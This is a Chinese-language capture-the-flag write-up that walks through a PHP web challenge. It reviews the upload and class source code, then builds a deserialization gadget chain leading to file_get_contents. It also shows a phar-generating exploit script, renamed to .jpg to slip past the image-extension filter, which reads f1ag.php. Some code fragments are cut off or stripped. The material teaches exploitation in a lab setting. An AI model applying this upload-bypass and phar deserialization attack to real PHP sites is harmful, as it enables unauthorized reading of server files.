查看index.php
查看base.php
web3
读取一下f1ag.php,但是被过滤了
看到upload_file.php
文件上传
前端写得很low,请各位师傅见谅!
alert("上传成功!");';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "请选择上传的文件:" . "";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '';
return false;
}
}
}
?>
发现上传的文件被过滤,只允许四种图片的后缀才能上传。
There is no file to show!";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
file.php中include了class.php,通过class.php的_show()
方法,将文件的内容显示出来。
str = $name;
} //构造方法 __construct() 接受一个参数 $name,并将其值赋给 $str 属性。
public function __destruct()
{
$this->test = $this->str; //
echo $this->test;
} //析构方法 __destruct() 将 $str 的值赋给 $test,然后输出 $test 的值。
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value) //__set() 方法是一个魔术方法,允许动态设置对象属性的值。
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value) //get() 方法在 __get() 方法内部调用,以从 $params 数组中获取指定键的值,并将其传递给 file_get() 方法进行进一步处理。
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
在class.php的Test类中
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
我们可以利用file_get_contents
思路:我们首先生成一个phar文件,其中meta值里面是对class.php的序列化值,然后上传,获取文件的路径和文件名。然后,通过file参数访问该文件,file参数会经过file_exists(),直接触发phar进行反序列化,触发漏洞。
构造class.php的pop链。
我们可以得到利用链:C1e4r::__destruct()的
echo $this->test;
this->test被 当 作 字 符 串 , 此时当 this−>test被当作字符串,此时当this->test=Show类时,调用Show::__toString()函数。设置
$this->str['str']=Test类
因此
$this->str['str']->source=Test类->source
此时Test类调用不存在的属性source,此时就会调用Test::__get函数并执行
$this->get(source)
接着到Test::get函数里面执行
$value = $this->params["source"];
设置
$this->params["source"]="/var/www/html/f1ag.php"
然后执行
$this->file_get("/var/www/html/f1ag.php")
最后返回
base64_encode(file_get_contents("/var/www/html/f1ag.php"));
解码就可以得到flag了。
pop链
C1e4r::destruct() --> Show::toString() --> Test::__get() 。
params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show; //利用 $this->test = $this->str; echo $this->test;
$show->str['str'] = $test; //利用 $this->str['str']->source;
$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub(''); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象,将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名,添加要压缩的文件
$phar->stopBuffering();
?>
生成了phar文件,但是phar文件被过滤,需要修改文件名为jpg文件
直接上传,需要在/upload查看计算的文件名
解密一下得到flag